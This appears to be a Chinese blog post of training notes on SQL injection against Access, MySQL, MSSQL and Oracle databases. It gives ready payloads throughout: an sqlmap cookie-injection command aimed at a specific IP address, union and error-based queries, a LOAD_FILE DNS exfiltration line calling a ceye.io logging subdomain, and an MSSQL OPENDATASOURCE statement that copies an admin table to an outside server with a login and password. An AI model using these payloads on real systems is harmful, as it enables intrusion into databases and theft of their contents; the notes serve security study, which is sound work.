在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
Cookie注入满足的条件:
修改Cookie方式:Cookie传参值需要URL编码
"; 传参数据"
Sqlmap跑cookie注入:python sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2
表名: Access数据库查询语句必须带表名[Mysql、MSsql、Oracled都有系统自带库]Access数据库没有系统自带库。
原传参值 and exists(select*from 表名)
[URL编码后跑字典,存在表名页面返回正常]字段名:
表. => 就是表里面所有字段
`union select 1,2,3,4,5,admin.from admin `[查询的字段数要比当前页面表字段数小,否则不能做]
不断平移,将admin.* 不断平移到输出点记录下显示的字段。然后查询。
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
将盲注转化为显错注入
LOAD_FILE() 读取文件的函数 这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=
[ LOAD_FILE() 读取文件的函数 取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。]
语句:and select load_file(concat('//',(select database()),.0cv5gr.ceye.io/abc')) -- qwe
数据库去访问0cv5gr.ceye.io的服务器下的共享文件夹abc然后ceye.io的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了0cv5gr.ceye.io,然后在ceye这个平台上面显示出来了
免费的dnslog平台:http://dnslog.cn/
MSsql显错注入:
查询系统库:union all select from dbo.sysdatabases
查询系统表:union all select null,null,nuill from sysobjects where xtype=’U’[xtype=’U’是指用户创建的表]
查询字段:union all select from syscolumns where id=? [id=?指的是表对应的id数字]
查询数据:union all select 字段 from 表
MSsql反弹注入:
前提条件是存在堆叠注入[;后可以执行后面的语句]
nsert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
Insert into 很明显是插入语句 然后出现了个opendatasource。
opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
语法:
OPENDATASOURCE(provider_name,init_string)
provider_name
注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB
init_string
连接字符串
连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面
Dual是一个虚表
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns 查询出当前用户的字段
select*from v$version 查版本
rownum=1 (限制查询返回的总行数为一条)
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据
Oracle 实现limit: select username from (select rownum r,username from all_users) where r=5
通过子查询列出一张表,然后用where条件选中数据
报错语法:CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))
— 查询数据库版本
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.